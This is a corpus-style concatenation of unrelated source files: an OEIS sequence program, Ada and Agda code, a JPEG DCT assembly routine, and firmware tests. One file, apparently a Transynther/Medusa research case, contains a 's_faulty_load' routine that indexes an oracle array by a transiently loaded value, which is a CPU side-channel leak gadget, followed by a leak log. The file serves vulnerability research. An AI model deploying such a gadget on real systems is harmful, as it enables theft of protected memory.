; A248474: Numbers congruent to 13 or 17 mod 30. ; 13,17,43,47,73,77,103,107,133,137,163,167,193,197,223,227,253,257,283,287,313,317,343,347,373,377,403,407,433,437,463,467,493,497,523,527,553,557,583,587,613,617,643,647,673,677,703,707,733,737,763,767,793,797,823,827,853,857,883,887,913,917,943,947,973,977,1003,1007,1033,1037,1063,1067,1093,1097,1123,1127,1153,1157,1183,1187,1213,1217,1243,1247,1273,1277,1303,1307,1333,1337,1363,1367,1393,1397,1423,1427,1453,1457,1483,1487,1513,1517,1543,1547,1573,1577,1603,1607,1633,1637,1663,1667,1693,1697,1723,1727,1753,1757,1783,1787,1813,1817,1843,1847,1873,1877,1903,1907,1933,1937,1963,1967,1993,1997,2023,2027,2053,2057,2083,2087,2113,2117,2143,2147,2173,2177,2203,2207,2233,2237,2263,2267,2293,2297,2323,2327,2353,2357,2383,2387,2413,2417,2443,2447,2473,2477,2503,2507,2533,2537,2563,2567,2593,2597,2623,2627,2653,2657,2683,2687,2713,2717,2743,2747,2773,2777,2803,2807,2833,2837,2863,2867,2893,2897,2923,2927,2953,2957,2983,2987,3013,3017,3043,3047,3073,3077,3103,3107,3133,3137,3163,3167,3193,3197,3223,3227,3253,3257,3283,3287,3313,3317,3343,3347,3373,3377,3403,3407,3433,3437,3463,3467,3493,3497,3523,3527,3553,3557,3583,3587,3613,3617,3643,3647,3673,3677,3703,3707,3733,3737 mov $2,$0 div $0,2 mul $0,11 mul $2,2 add $0,$2 mov $1,$0 mul $1,2 add $1,13
Ada/problem_20/problem_20.adb
PyllrNL/Project_Euler_Solutions
0
4227
package body problem_20 is function Solution_1 return Integer is Num : array( Natural range 0 .. 50 ) of Natural := ( 0 => 1, others => 0); Sum : Integer := 0; Carry : Integer := 1; Temp : Integer; begin for I in 2 .. 100 loop Carry := 0; for J in Num'Range loop Temp := (Num(J) * I) + Carry; Num(J) := Temp mod 10_000_000; Carry := Temp / 10_000_000; end loop; end loop; for I in Num'Range loop While Num(I) > 0 loop Sum := Sum + (Num(I) mod 10); Num(I) := Num(I) / 10; end loop; end loop; return Sum; end Solution_1; procedure Test_Solution_1 is Solution : constant Integer := 648; begin Assert( Solution = Solution_1 ); end Test_Solution_1; function Get_Solutions return Solution_Case is Ret : Solution_Case; begin Set_Name( Ret, "problem 20" ); Add_Test( Ret, Test_Solution_1'Access ); return Ret; end Get_Solutions; end problem_20;
src/firmware-tests/SunriseSunset/Initialisation/InitialisationChainTest.asm
pete-restall/Cluck2Sesame-Prototype
1
169440
<reponame>pete-restall/Cluck2Sesame-Prototype<gh_stars>1-10 #include "Mcu.inc" #include "FarCalls.inc" #include "SunriseSunset.inc" #include "TestFixture.inc" #include "../InitialiseAfterSunriseSunsetMock.inc" radix decimal InitialisationChainTest code global testArrange testArrange: fcall initialiseInitialiseAfterSunriseSunsetMock testAct: fcall initialiseSunriseSunset testAssert: banksel calledInitialiseAfterSunriseSunset .assert "calledInitialiseAfterSunriseSunset != 0, 'Next initialiser in chain was not called.'" return end
source/vampire-villages-save.adb
ytomino/vampire
1
15479
<filename>source/vampire-villages-save.adb -- The Village of Vampire by YT, このソースコードはNYSLです with Ada.Exceptions; with Ada.Directories.Temporary; with Ada.Streams.Stream_IO; with Serialization.YAML; with YAML.Streams; with Vampire.Villages.Village_IO; procedure Vampire.Villages.Save ( Name : in String; Village : in out Villages.Village_Type) is Temporary_Name : constant String := Ada.Directories.Temporary.Create_Temporary_File; File : Ada.Streams.Stream_IO.File_Type := Ada.Streams.Stream_IO.Create (Name => Temporary_Name); begin declare Emitter : aliased YAML.Emitter := YAML.Streams.Create (Ada.Streams.Stream_IO.Stream (File)); begin YAML.Set_Unicode (Emitter, True); Village_IO.IO ( Serialization.YAML.Writing (Emitter'Access, Village_IO.Yaml_Type).Serializer, Village); YAML.Finish (Emitter); end; Ada.Streams.Stream_IO.Close (File); Ada.Directories.Replace_File ( Source_Name => Temporary_Name, Target_Name => Name); exception when E : others => Ada.Debug.Put (Temporary_Name); declare Message : constant String := Name & ": " & Ada.Exceptions.Exception_Message (E); begin Ada.Debug.Put (Message); Ada.Exceptions.Raise_Exception ( Ada.Exceptions.Exception_Identity (E), Message); end; end Vampire.Villages.Save;
src/_test/helpers/apsepp-test_node_class-testing.ads
thierr26/ada-apsepp
0
26232
<reponame>thierr26/ada-apsepp -- Copyright (C) 2019 <NAME> <<EMAIL>> -- MIT license. Please refer to the LICENSE file. with Apsepp.Generic_Array_Operations, Apsepp.Tags; package Apsepp.Test_Node_Class.Testing is type Flattened_Routine_State is record Routine_I : Test_Routine_Count; Assert_C : Test_Assert_Count; Assert_O : Test_Outcome; T : Tag; end record; function "<" (Left, Right : Flattened_Routine_State) return Boolean is (Tags."<" (Left.T, Right.T)); type Routine_State_Array is array (Positive range <>) of Flattened_Routine_State; package Flattened_Routine_State_Array_Operations is new Generic_Array_Operations (Index_Type => Positive, Element_type => Flattened_Routine_State, Array_Type => Routine_State_Array, "<" => "<"); use Flattened_Routine_State_Array_Operations; function To_Array return Routine_State_Array with Post => To_Array'Result'First = 1 and then Monotonic_Incr (To_Array'Result(2 .. To_Array'Result'Last)); private function To_Flattened_Routine_State (T_R_S : Tag_Routine_State) return Flattened_Routine_State is (T => T_R_S.T, Routine_I => T_R_S.S.Routine_Index, Assert_C => Prot_Test_Assert_Count.Val (T_R_S.S.Assert_Count), Assert_O => T_R_S.S.Assert_Outcome); end Apsepp.Test_Node_Class.Testing;
Mixfix/Cyclic/Grammar.agda
nad/parser-combinators
1
6787
<gh_stars>1-10 ------------------------------------------------------------------------ -- Parsing of mixfix operators ------------------------------------------------------------------------ -- This module defines a grammar for the precedence graph g. open import Mixfix.Expr module Mixfix.Cyclic.Grammar (i : PrecedenceGraphInterface) (g : PrecedenceGraphInterface.PrecedenceGraph i) where open import Codata.Musical.Notation open import Function using (flip; _$_) open import Data.List using (List; []; _∷_) open import Data.List.Membership.Propositional using (_∈_) open import Data.List.Relation.Unary.Any using (here; there) open import Data.Product import Relation.Binary.PropositionalEquality as P open PrecedenceCorrect i g import TotalParserCombinators.Parser as Parser open import Mixfix.Fixity open import Mixfix.Operator open import Mixfix.Cyclic.Lib renaming (ParserProg to Parser) -- The following definition uses a lexicographic combination of -- guarded corecursion and structural recursion. mutual -- Expressions. expr : ∞ (Parser (Expr anyPrecedence)) expr = ♯ precs anyPrecedence -- Expressions corresponding to zero or more nodes in the precedence -- graph: operator applications where the outermost operator has one -- of the precedences ps. The graph g is used for internal -- expressions. precs : (ps : List Precedence) → Parser (Expr ps) precs [] = fail precs (p ∷ ps) = (λ e → here P.refl ∙ proj₂ e) <$> prec p ∣ weakenE <$> precs ps -- Expressions corresponding to one node in the precedence graph: -- operator applications where the outermost operator has -- precedence p. The graph g is used for internal expressions. -- The code would be more readable if the delay constructors (♯_) -- could be omitted. prec : (p : Precedence) → Parser (∃ (ExprIn p)) prec p = closedOps ∥ nonAssoc ∥ preRight⁺ ∥ postLeft⁺ ∥ fail module Prec where -- [ fix ] parses the internal parts of operators with the -- current precedence level and fixity fix. [_] = λ (fix : Fixity) → inner (ops p fix) -- Operator applications where the outermost operator binds -- tighter than the current precedence level. p↑ = precs (↑ p) -- Closed operators. closedOps : Parser (ExprIn p non) closedOps = ⟪_⟫ <$> [ closed ] -- Non-associative infix operators. nonAssoc : Parser (ExprIn p non) nonAssoc = ♯ (_⟨_⟩_ <$> p↑ ⊛ [ infx non ]) ⊛∞ ♯ p↑ -- Right associative and prefix operators. preRight : Parser (Outer p right → ExprIn p right) preRight = ⟪_⟩_ <$> [ prefx ] ∣ _⟨_⟩ʳ_ <$> p↑ ⊛ [ infx right ] preRight⁺ : Parser (ExprIn p right) preRight⁺ = ♯ preRight ⊛∞ ♯ (similar <$> preRight⁺ ∣ tighter <$> p↑) -- Left associative and postfix operators. postLeft : Parser (Outer p left → ExprIn p left) postLeft = (λ op e₁ → e₁ ⟨ op ⟫ ) <$> [ postfx ] ∣ (λ op e₂ e₁ → e₁ ⟨ op ⟩ˡ e₂) <$> [ infx left ] ⊛ p↑ postLeft⁺ : Parser (ExprIn p left) postLeft⁺ = ♯ (flip _$_ <$> ( similar <$> postLeft⁺ ∣ tighter <$> p↑ )) ⊛∞ ♯ postLeft -- Internal parts (all name parts plus internal expressions) of -- operators of the given precedence and fixity. inner : ∀ {fix} (ops : List (∃ (Operator fix))) → Parser (Inner ops) inner [] = fail inner ((_ , op) ∷ ops) = (λ args → here P.refl ∙ args) <$> (expr between nameParts op) ∣ weakenI <$> inner ops -- Expression parsers. expression : Parser.Parser NamePart (Expr anyPrecedence) [] expression = ⟦ ♭ expr ⟧
src/core/external/jpeg-6bx/jfdctint.asm
miahmie/krkrz
4
1505
; ; jfdctint.asm - accurate integer FDCT (non-SIMD) ; ; x86 SIMD extension for IJG JPEG library ; Copyright (C) 1999-2006, MIYASAKA Masaru. ; For conditions of distribution and use, see copyright notice in jsimdext.inc ; ; This file should be assembled with NASM (Netwide Assembler), ; can *not* be assembled with Microsoft's MASM or any compatible ; assembler (including Borland's Turbo Assembler). ; NASM is available from http://nasm.sourceforge.net/ or ; http://sourceforge.net/project/showfiles.php?group_id=6208 ; ; This file contains a slow-but-accurate integer implementation of the ; forward DCT (Discrete Cosine Transform). The following code is based ; directly on the IJG's original jfdctint.c; see the jfdctint.c for ; more details. ; ; Last Modified : October 17, 2004 ; ; [TAB8] %include "jsimdext.inc" %include "jdct.inc" %ifdef DCT_ISLOW_SUPPORTED ; This module is specialized to the case DCTSIZE = 8. ; %if DCTSIZE != 8 %error "Sorry, this code only copes with 8x8 DCTs." %endif ; -------------------------------------------------------------------------- ; Descale and correctly round a DWORD value that's scaled by N bits. ; %macro descale 2 %if (%2)<=7 add %1, byte (1<<((%2)-1)) ; add reg32,imm8 %else add %1, (1<<((%2)-1)) ; add reg32,imm32 %endif sar %1,%2 %endmacro ; -------------------------------------------------------------------------- %define CONST_BITS 13 %define PASS1_BITS 2 %if CONST_BITS == 13 F_0_298 equ 2446 ; FIX(0.298631336) F_0_390 equ 3196 ; FIX(0.390180644) F_0_541 equ 4433 ; FIX(0.541196100) F_0_765 equ 6270 ; FIX(0.765366865) F_0_899 equ 7373 ; FIX(0.899976223) F_1_175 equ 9633 ; FIX(1.175875602) F_1_501 equ 12299 ; FIX(1.501321110) F_1_847 equ 15137 ; FIX(1.847759065) F_1_961 equ 16069 ; FIX(1.961570560) F_2_053 equ 16819 ; FIX(2.053119869) F_2_562 equ 20995 ; FIX(2.562915447) F_3_072 equ 25172 ; FIX(3.072711026) %else ; NASM cannot do compile-time arithmetic on floating-point constants. %define DESCALE(x,n) (((x)+(1<<((n)-1)))>>(n)) F_0_298 equ DESCALE( 320652955,30-CONST_BITS) ; FIX(0.298631336) F_0_390 equ DESCALE( 418953276,30-CONST_BITS) ; FIX(0.390180644) F_0_541 equ DESCALE( 581104887,30-CONST_BITS) ; FIX(0.541196100) F_0_765 equ DESCALE( 821806413,30-CONST_BITS) ; FIX(0.765366865) F_0_899 equ DESCALE( 966342111,30-CONST_BITS) ; FIX(0.899976223) F_1_175 equ DESCALE(1262586813,30-CONST_BITS) ; FIX(1.175875602) F_1_501 equ DESCALE(1612031267,30-CONST_BITS) ; FIX(1.501321110) F_1_847 equ DESCALE(1984016188,30-CONST_BITS) ; FIX(1.847759065) F_1_961 equ DESCALE(2106220350,30-CONST_BITS) ; FIX(1.961570560) F_2_053 equ DESCALE(2204520673,30-CONST_BITS) ; FIX(2.053119869) F_2_562 equ DESCALE(2751909506,30-CONST_BITS) ; FIX(2.562915447) F_3_072 equ DESCALE(3299298341,30-CONST_BITS) ; FIX(3.072711026) %endif ; -------------------------------------------------------------------------- SECTION SEG_TEXT BITS 32 ; ; Perform the forward DCT on one block of samples. ; ; GLOBAL(void) ; jpeg_fdct_islow (DCTELEM * data) ; %define data(b) (b)+8 ; DCTELEM * data align 16 global EXTN(jpeg_fdct_islow) EXTN(jpeg_fdct_islow): push ebp mov ebp,esp push ebx ; push ecx ; need not be preserved ; push edx ; need not be preserved push esi push edi ; ---- Pass 1: process rows. mov edx, POINTER [data(ebp)] ; (DCTELEM *) mov ecx, DCTSIZE alignx 16,7 .rowloop: movsx eax, DCTELEM [ROW(0,edx,SIZEOF_DCTELEM)] movsx edi, DCTELEM [ROW(7,edx,SIZEOF_DCTELEM)] lea esi,[eax+edi] ; esi=tmp0 sub eax,edi ; eax=tmp7 push ecx ; ctr push eax movsx ebx, DCTELEM [ROW(1,edx,SIZEOF_DCTELEM)] movsx ecx, DCTELEM [ROW(6,edx,SIZEOF_DCTELEM)] lea edi,[ebx+ecx] ; edi=tmp1 sub ebx,ecx ; ebx=tmp6 push ebx movsx eax, DCTELEM [ROW(2,edx,SIZEOF_DCTELEM)] movsx ecx, DCTELEM [ROW(5,edx,SIZEOF_DCTELEM)] lea ebx,[eax+ecx] ; ebx=tmp2 sub eax,ecx ; eax=tmp5 push edx ; dataptr push eax movsx ecx, DCTELEM [ROW(3,edx,SIZEOF_DCTELEM)] movsx eax, DCTELEM [ROW(4,edx,SIZEOF_DCTELEM)] lea edx,[ecx+eax] ; edx=tmp3 sub ecx,eax ; ecx=tmp4 push ecx ; -- Even part lea eax,[esi+edx] ; eax=tmp10 lea ecx,[edi+ebx] ; ecx=tmp11 sub esi,edx ; esi=tmp13 sub edi,ebx ; edi=tmp12 lea ebx,[eax+ecx] ; ebx=data0 sub eax,ecx ; eax=data4 mov edx, POINTER [esp+8] ; dataptr sal ebx, PASS1_BITS sal eax, PASS1_BITS mov DCTELEM [ROW(0,edx,SIZEOF_DCTELEM)], bx mov DCTELEM [ROW(4,edx,SIZEOF_DCTELEM)], ax lea ecx,[edi+esi] imul ecx,(F_0_541) ; ecx=z1 imul esi,(F_0_765) ; esi=MULTIPLY(tmp13,FIX_0_765366865) imul edi,(-F_1_847) ; edi=MULTIPLY(tmp12,-FIX_1_847759065) add esi,ecx ; esi=data2 add edi,ecx ; edi=data6 descale esi,(CONST_BITS-PASS1_BITS) descale edi,(CONST_BITS-PASS1_BITS) mov DCTELEM [ROW(2,edx,SIZEOF_DCTELEM)], si mov DCTELEM [ROW(6,edx,SIZEOF_DCTELEM)], di ; -- Odd part mov eax, INT32 [esp] ; eax=tmp4 mov ebx, INT32 [esp+4] ; ebx=tmp5 mov ecx, INT32 [esp+12] ; ecx=tmp6 mov esi, INT32 [esp+16] ; esi=tmp7 lea edx,[eax+ecx] ; edx=z3 lea edi,[ebx+esi] ; edi=z4 add eax,esi ; eax=z1 add ebx,ecx ; ebx=z2 lea esi,[edx+edi] imul esi,(F_1_175) ; esi=z5 imul edx,(-F_1_961) ; edx=z3(=MULTIPLY(z3,-FIX_1_961570560)) imul edi,(-F_0_390) ; edi=z4(=MULTIPLY(z4,-FIX_0_390180644)) imul eax,(-F_0_899) ; eax=z1(=MULTIPLY(z1,-FIX_0_899976223)) imul ebx,(-F_2_562) ; ebx=z2(=MULTIPLY(z2,-FIX_2_562915447)) add edx,esi ; edx=z3(=z3+z5) add edi,esi ; edi=z4(=z4+z5) lea ecx,[eax+edx] ; ecx=z1+z3 lea esi,[ebx+edi] ; esi=z2+z4 add eax,edi ; eax=z1+z4 add ebx,edx ; ebx=z2+z3 pop edx ; edx=tmp4 pop edi ; edi=tmp5 imul edx,(F_0_298) ; edx=tmp4(=MULTIPLY(tmp4,FIX_0_298631336)) imul edi,(F_2_053) ; edi=tmp5(=MULTIPLY(tmp5,FIX_2_053119869)) add ecx,edx ; ecx=data7(=tmp4+z1+z3) add esi,edi ; esi=data5(=tmp5+z2+z4) pop edx ; dataptr descale ecx,(CONST_BITS-PASS1_BITS) descale esi,(CONST_BITS-PASS1_BITS) mov DCTELEM [ROW(7,edx,SIZEOF_DCTELEM)], cx mov DCTELEM [ROW(5,edx,SIZEOF_DCTELEM)], si pop edi ; edi=tmp6 pop ecx ; ecx=tmp7 imul edi,(F_3_072) ; edi=tmp6(=MULTIPLY(tmp6,FIX_3_072711026)) imul ecx,(F_1_501) ; ecx=tmp7(=MULTIPLY(tmp7,FIX_1_501321110)) add ebx,edi ; ebx=data3(=tmp6+z2+z3) add eax,ecx ; eax=data1(=tmp7+z1+z4) pop ecx ; ctr descale ebx,(CONST_BITS-PASS1_BITS) descale eax,(CONST_BITS-PASS1_BITS) mov DCTELEM [ROW(3,edx,SIZEOF_DCTELEM)], bx mov DCTELEM [ROW(1,edx,SIZEOF_DCTELEM)], ax add edx, byte DCTSIZE*SIZEOF_DCTELEM dec ecx ; advance pointer to next row jnz near .rowloop ; ---- Pass 2: process columns. mov edx, POINTER [data(ebp)] ; (DCTELEM *) mov ecx, DCTSIZE alignx 16,7 .columnloop: movsx eax, DCTELEM [COL(0,edx,SIZEOF_DCTELEM)] movsx edi, DCTELEM [COL(7,edx,SIZEOF_DCTELEM)] lea esi,[eax+edi] ; esi=tmp0 sub eax,edi ; eax=tmp7 push ecx ; ctr push eax movsx ebx, DCTELEM [COL(1,edx,SIZEOF_DCTELEM)] movsx ecx, DCTELEM [COL(6,edx,SIZEOF_DCTELEM)] lea edi,[ebx+ecx] ; edi=tmp1 sub ebx,ecx ; ebx=tmp6 push ebx movsx eax, DCTELEM [COL(2,edx,SIZEOF_DCTELEM)] movsx ecx, DCTELEM [COL(5,edx,SIZEOF_DCTELEM)] lea ebx,[eax+ecx] ; ebx=tmp2 sub eax,ecx ; eax=tmp5 push edx ; dataptr push eax movsx ecx, DCTELEM [COL(3,edx,SIZEOF_DCTELEM)] movsx eax, DCTELEM [COL(4,edx,SIZEOF_DCTELEM)] lea edx,[ecx+eax] ; edx=tmp3 sub ecx,eax ; ecx=tmp4 push ecx ; -- Even part lea eax,[esi+edx] ; eax=tmp10 lea ecx,[edi+ebx] ; ecx=tmp11 sub esi,edx ; esi=tmp13 sub edi,ebx ; edi=tmp12 lea ebx,[eax+ecx] ; ebx=data0 sub eax,ecx ; eax=data4 mov edx, POINTER [esp+8] ; dataptr descale ebx, PASS1_BITS descale eax, PASS1_BITS mov DCTELEM [COL(0,edx,SIZEOF_DCTELEM)], bx mov DCTELEM [COL(4,edx,SIZEOF_DCTELEM)], ax lea ecx,[edi+esi] imul ecx,(F_0_541) ; ecx=z1 imul esi,(F_0_765) ; esi=MULTIPLY(tmp13,FIX_0_765366865) imul edi,(-F_1_847) ; edi=MULTIPLY(tmp12,-FIX_1_847759065) add esi,ecx ; esi=data2 add edi,ecx ; edi=data6 descale esi,(CONST_BITS+PASS1_BITS) descale edi,(CONST_BITS+PASS1_BITS) mov DCTELEM [COL(2,edx,SIZEOF_DCTELEM)], si mov DCTELEM [COL(6,edx,SIZEOF_DCTELEM)], di ; -- Odd part mov eax, INT32 [esp] ; eax=tmp4 mov ebx, INT32 [esp+4] ; ebx=tmp5 mov ecx, INT32 [esp+12] ; ecx=tmp6 mov esi, INT32 [esp+16] ; esi=tmp7 lea edx,[eax+ecx] ; edx=z3 lea edi,[ebx+esi] ; edi=z4 add eax,esi ; eax=z1 add ebx,ecx ; ebx=z2 lea esi,[edx+edi] imul esi,(F_1_175) ; esi=z5 imul edx,(-F_1_961) ; edx=z3(=MULTIPLY(z3,-FIX_1_961570560)) imul edi,(-F_0_390) ; edi=z4(=MULTIPLY(z4,-FIX_0_390180644)) imul eax,(-F_0_899) ; eax=z1(=MULTIPLY(z1,-FIX_0_899976223)) imul ebx,(-F_2_562) ; ebx=z2(=MULTIPLY(z2,-FIX_2_562915447)) add edx,esi ; edx=z3(=z3+z5) add edi,esi ; edi=z4(=z4+z5) lea ecx,[eax+edx] ; ecx=z1+z3 lea esi,[ebx+edi] ; esi=z2+z4 add eax,edi ; eax=z1+z4 add ebx,edx ; ebx=z2+z3 pop edx ; edx=tmp4 pop edi ; edi=tmp5 imul edx,(F_0_298) ; edx=tmp4(=MULTIPLY(tmp4,FIX_0_298631336)) imul edi,(F_2_053) ; edi=tmp5(=MULTIPLY(tmp5,FIX_2_053119869)) add ecx,edx ; ecx=data7(=tmp4+z1+z3) add esi,edi ; esi=data5(=tmp5+z2+z4) pop edx ; dataptr descale ecx,(CONST_BITS+PASS1_BITS) descale esi,(CONST_BITS+PASS1_BITS) mov DCTELEM [COL(7,edx,SIZEOF_DCTELEM)], cx mov DCTELEM [COL(5,edx,SIZEOF_DCTELEM)], si pop edi ; edi=tmp6 pop ecx ; ecx=tmp7 imul edi,(F_3_072) ; edi=tmp6(=MULTIPLY(tmp6,FIX_3_072711026)) imul ecx,(F_1_501) ; ecx=tmp7(=MULTIPLY(tmp7,FIX_1_501321110)) add ebx,edi ; ebx=data3(=tmp6+z2+z3) add eax,ecx ; eax=data1(=tmp7+z1+z4) pop ecx ; ctr descale ebx,(CONST_BITS+PASS1_BITS) descale eax,(CONST_BITS+PASS1_BITS) mov DCTELEM [COL(3,edx,SIZEOF_DCTELEM)], bx mov DCTELEM [COL(1,edx,SIZEOF_DCTELEM)], ax add edx, byte SIZEOF_DCTELEM ; advance pointer to next column dec ecx jnz near .columnloop pop edi pop esi ; pop edx ; need not be preserved ; pop ecx ; need not be preserved pop ebx pop ebp ret %endif ; DCT_ISLOW_SUPPORTED
Transynther/x86/_processed/AVXALIGN/_st_/i7-7700_9_0xca.log_21829_1387.asm
ljhsiun2/medusa
9
167819
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r15 push %r8 push %rax push %rbp push %rbx push %rcx push %rdi push %rsi lea addresses_D_ht+0xf671, %rcx nop nop nop nop cmp $46194, %rbx mov $0x6162636465666768, %rax movq %rax, (%rcx) nop nop nop nop dec %r8 lea addresses_normal_ht+0x1d871, %r12 nop nop nop nop xor $8145, %r15 and $0xffffffffffffffc0, %r12 vmovntdqa (%r12), %ymm0 vextracti128 $1, %ymm0, %xmm0 vpextrq $0, %xmm0, %rax add %rax, %rax lea addresses_WT_ht+0x13f9b, %rax nop dec %rbp mov $0x6162636465666768, %rbx movq %rbx, %xmm4 vmovups %ymm4, (%rax) nop nop cmp $30718, %r15 lea addresses_A_ht+0x5871, %rax nop nop and %rcx, %rcx mov $0x6162636465666768, %rbp movq %rbp, %xmm0 movups %xmm0, (%rax) nop sub $42837, %rax lea addresses_D_ht+0x1b071, %r12 nop nop nop nop xor $12802, %r15 mov $0x6162636465666768, %rax movq %rax, %xmm3 movups %xmm3, (%r12) nop sub %r12, %r12 lea addresses_WT_ht+0x5dea, %rax nop nop nop nop nop cmp $36939, %r8 mov (%rax), %rbp nop xor $48526, %rax lea addresses_WT_ht+0x15471, %rsi lea addresses_normal_ht+0x180f1, %rdi clflush (%rdi) nop nop nop nop inc %rbx mov $64, %rcx rep movsl nop nop nop nop cmp $54558, %rbp lea addresses_normal_ht+0x13d31, %rax nop nop nop cmp $62848, %rbx and $0xffffffffffffffc0, %rax vmovntdqa (%rax), %ymm0 vextracti128 $0, %ymm0, %xmm0 vpextrq $0, %xmm0, %rcx nop nop nop nop and %rdi, %rdi lea addresses_A_ht+0x162e1, %rbx nop nop nop add $35551, %r12 movups (%rbx), %xmm1 vpextrq $0, %xmm1, %rbp nop cmp %r15, %r15 pop %rsi pop %rdi pop %rcx pop %rbx pop %rbp pop %rax pop %r8 pop %r15 pop %r12 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r12 push %rbp push %rdi push %rdx push %rsi // Load mov $0x13eee0000000e01, %r12 nop nop nop nop xor $43550, %rsi mov (%r12), %rdx nop and %r10, %r10 // Faulty Load lea addresses_D+0xc071, %r11 nop nop nop xor %rdi, %rdi mov (%r11), %rsi lea oracles, %r12 and $0xff, %rsi shlq $12, %rsi mov (%r12,%rsi,1), %rsi pop %rsi pop %rdx pop %rdi pop %rbp pop %r12 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_D'}, 'OP': 'LOAD'} {'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_NC'}, 'OP': 'LOAD'} [Faulty Load] {'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 8, 'NT': True, 'type': 'addresses_D'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'congruent': 6, 'AVXalign': False, 'same': False, 'size': 8, 'NT': True, 'type': 'addresses_D_ht'}} {'src': {'congruent': 11, 'AVXalign': False, 'same': False, 'size': 32, 'NT': True, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'congruent': 1, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_WT_ht'}} {'OP': 'STOR', 'dst': {'congruent': 7, 'AVXalign': False, 'same': True, 'size': 16, 'NT': False, 'type': 'addresses_A_ht'}} {'OP': 'STOR', 'dst': {'congruent': 9, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_D_ht'}} {'src': {'congruent': 0, 'AVXalign': True, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 6, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'congruent': 7, 'same': False, 'type': 'addresses_normal_ht'}} {'src': {'congruent': 5, 'AVXalign': False, 'same': True, 'size': 32, 'NT': True, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 1, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'} {'36': 21829} 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 */
build/cog-maven-plugin/src/main/antlr4/io/aklivity/zilla/build/maven/plugins/cog/internal/parser/Cog.g4
lukefallows/zilla
0
6740
